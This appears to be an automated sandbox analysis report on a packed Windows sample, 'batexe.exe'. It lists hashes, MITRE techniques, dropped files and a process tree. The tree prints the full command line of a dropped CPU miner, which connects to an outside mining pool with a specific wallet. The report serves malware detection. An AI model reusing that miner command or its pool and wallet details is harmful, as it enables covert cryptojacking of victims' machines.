73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72

Analysis

max time kernel
294s
max time network
299s
platform
windows10-2004_x64
resource
win10v2004-20231222-ja
resource tags

arch:x64arch:x86image:win10v2004-20231222-jalocale:ja-jpos:windows10-2004-x64systemwindows
submitted
12/02/2024, 09:38

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General

Target

batexe.exe
Size

9.4MB
MD5

cdc9eacffc6d2bf43153815043064427
SHA1

d05101f265f6ea87e18793ab0071f5c99edf363f
SHA256

73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72
SHA512

fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6
SSDEEP

196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv

Score

7^/10

upx

Malware Config

Signatures

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3803511929-1339359695-2191195476-1000\Control Panel\International\Geo\Nation	batexe.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3803511929-1339359695-2191195476-1000\Control Panel\International\Geo\Nation	b2e.exe

Executes dropped EXE 2 IoCs

pid	Process
2812	b2e.exe
1080	cpuminer-sse2.exe

Loads dropped DLL 5 IoCs

pid	Process
1080	cpuminer-sse2.exe
1080	cpuminer-sse2.exe
1080	cpuminer-sse2.exe
1080	cpuminer-sse2.exe
1080	cpuminer-sse2.exe

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/memory/800-8-0x0000000000400000-0x000000000393A000-memory.dmp	upx

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 800 wrote to memory of 2812	800	batexe.exe	85
PID 800 wrote to memory of 2812	800	batexe.exe	85
PID 800 wrote to memory of 2812	800	batexe.exe	85
PID 2812 wrote to memory of 4196	2812	b2e.exe	86
PID 2812 wrote to memory of 4196	2812	b2e.exe	86
PID 2812 wrote to memory of 4196	2812	b2e.exe	86
PID 4196 wrote to memory of 1080	4196	cmd.exe	89
PID 4196 wrote to memory of 1080	4196	cmd.exe	89

C:\Users\Admin\AppData\Local\Temp\batexe.exe
"C:\Users\Admin\AppData\Local\Temp\batexe.exe"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:800
- C:\Users\Admin\AppData\Local\Temp\B6FC.tmp\b2e.exe
  "C:\Users\Admin\AppData\Local\Temp\B6FC.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\B6FC.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:2812
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\BBFD.tmp\batchfile.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4196
  - - C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
      cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 3
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:1080

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\B6FC.tmp\b2e.exe

Filesize
35.0MB

MD5
210156d42118d6ddaf70fb4ddba05cbd

SHA1
3f8b75a6396e79fb5abf39d9c5707cd4086c557f

SHA256
3816b79b1ae33708ae3516e07e1eab73da2831be5028300d4d01d4ff7169b975

SHA512
336877b94288a46b87cd3d6d3f9b727b92714c112ac9962676b7d542f9c1c50ff4d265a69215a286b3511820821231d4cfe8d761dcfe4202472896257cd463c4

Download Submit
C:\Users\Admin\AppData\Local\Temp\B6FC.tmp\b2e.exe

Filesize
896KB

MD5
1f22d8bf5f6c3dda3e880ea1ba0417d4

SHA1
2a8dbf2319999a894714bdea650eb5be32c64c19

SHA256
afb7da96abe31529f462178372c48627a7e681e3c18cd2196aec8beee07f5b96

SHA512
217b89f6a74039807c135539482b1a769d715190f7756e2b0162a33da3d8ada909b80ca3fc1596e542f163f6a45726282997f4e52a36c352cc89b9e58c1e6e05

Download Submit
C:\Users\Admin\AppData\Local\Temp\BBFD.tmp\batchfile.bat

Filesize
136B

MD5
8ea7ac72a10251ecfb42ef4a88bd330a

SHA1
c30f6af73a42c0cc89bd20fe95f9159d6f0756c5

SHA256
65e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9

SHA512
a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
1.7MB

MD5
de00072c02a43549faf138ec15cb6fd9

SHA1
ad462368c282ecad47943cf64f6a1ef138cc5d3b

SHA256
adc1f5b8bb66c54a105999bd858aed4304bb72bbf52199e4ee3c4f70b3606946

SHA512
c21747dd9b1758210ec6bbcb047c86205586b89fe134b41fbfef7229555d066a80dd79ecf0f93a65e795e686291c2944f23b6dae001d917b92658d3b359304ee

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
1015KB

MD5
07dc1b320c0a1d9cbef9d8786a6c2444

SHA1
1a2e2bf5415fabde50aef41340d57a0bddc5c489

SHA256
a9d0333eb7adeb80b004cefc96dda8b65675c039d2345fef724e3a18e168a513

SHA512
36795c3f498e7e7e7f2d75e0ab2b71873b3602b98ff53c778d91af208482ab1a59510ea4b09dc736f2cf0b595b2ce2698a911c7caf651dc6b02a708e1cbda67c

Download Submit
C:\Users\Admin\AppData\Local\Temp\libcurl-4.dll

Filesize
836KB

MD5
aeab40ed9a8e627ea7cefc1f5cf9bf7a

SHA1
5e2e8ca2881b9bf9edfa3c4fdcec6da1efa102d8

SHA256
218cfc4073bab4eddf0de0804f96b204687311e20a9e97994bff54c9b0e01ee9

SHA512
c0a67616fa01fdc351015212a718faf70da6612fbb3ec13da28dd7af9a507c56882fb7c3eea6fbc37d4d63b970157199d16d0756dbe3cb3bc2223e215cb104d8

Download Submit
C:\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
1.2MB

MD5
7cf672bee2afba2dcd0c031ff985958e

SHA1
6b82a205db080ffdcb4a4470fce85a14413f3217

SHA256
c82f84171b9246d1cac261100b2199789c96c37b03b375f33b2c72afab060b05

SHA512
3e90d1c1efe0200cb3cc7b51d04783a3cce8391faa6ce554cff8b23dac60be9f8e4f980a8ac005fd9dff8ea4bdcb02311f7649c5be28eb32dcc26417fc4090e5

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
1.1MB

MD5
d7c1502314f1a4d372e1d88f8d805c36

SHA1
6c97bcb0b12feadcfc16d54c389e69f4b67b2d0b

SHA256
587c675df9f42a0b8fa04b02a867d7a01f8c6eb4f9b6396c1bf70bb80043cf3f

SHA512
de31f28bc9a48363a90bb931ed49d557f3bf4995b07a5a701868d5a51c24176b72be92fc1e50e9e51cab3ee014c56391e9bed9fe1f1556b62e1c3cfeddcbb956

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
1.5MB

MD5
c41694dcb335dc3e316b8e2a3f9e0188

SHA1
3e902cb504a1628bb62290f79866153cfa6b2c14

SHA256
9c9571fd2f06ae1724812cd73ee3c14cd9045af20c635c0a68acbe56d2f07cb1

SHA512
e90f15f077bd68f9679567b242c18a9c2c760c51163191c8f6c3581557e4fd71acf644cefdae3dfe698fd7e96196f52d7fba66c346c3aee3bcc5d0b03d24b95d

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
1.9MB

MD5
a986bcaf017c21718a01c98132ffbea7

SHA1
c13b0d1718c4f96a50a0a745b3bab1e3fedc8d1c

SHA256
ea9e521d217525c026d1317d9344e180646122ffc457119e8d82b76065ab9612

SHA512
21920f4530c72246ace25f6175422f14c66cafedaf0c94a31f627a50b0a7b2f04932e1609e51023c6c3771e8d6d68ea58cd9e17b885d0050d7fa29458d9a5d69

Download Submit
C:\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

Filesize
606KB

MD5
585efec1bc1d4d916a4402c9875dff75

SHA1
d209613666ccac9d0ddab29a3bc59aa00a0968fa

SHA256
2f9984c591a5654434c53e8b4d0c5c187f1fd0bab95247d5c9bc1c0bd60e6232

SHA512
b93163cba4601ed999a7a7d1887113792e846c36850c6d84f2d505727dc06524bb959469f9df12928769f4535dc6074a6b3599b788a4844353e466742ce1e770

Download Submit
memory/800-8-0x0000000000400000-0x000000000393A000-memory.dmp

Filesize
53.2MB

Download
memory/1080-45-0x0000000061440000-0x000000006156B000-memory.dmp

Filesize
1.2MB

Download
memory/1080-59-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1080-99-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1080-46-0x0000000073A60000-0x0000000073AF8000-memory.dmp

Filesize
608KB

Download
memory/1080-44-0x0000000070800000-0x00000000708BC000-memory.dmp

Filesize
752KB

Download
memory/1080-47-0x0000000000F40000-0x00000000027F5000-memory.dmp

Filesize
24.7MB

Download
memory/1080-48-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1080-94-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1080-54-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1080-43-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1080-64-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1080-69-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1080-74-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1080-79-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1080-89-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2812-53-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/2812-7-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download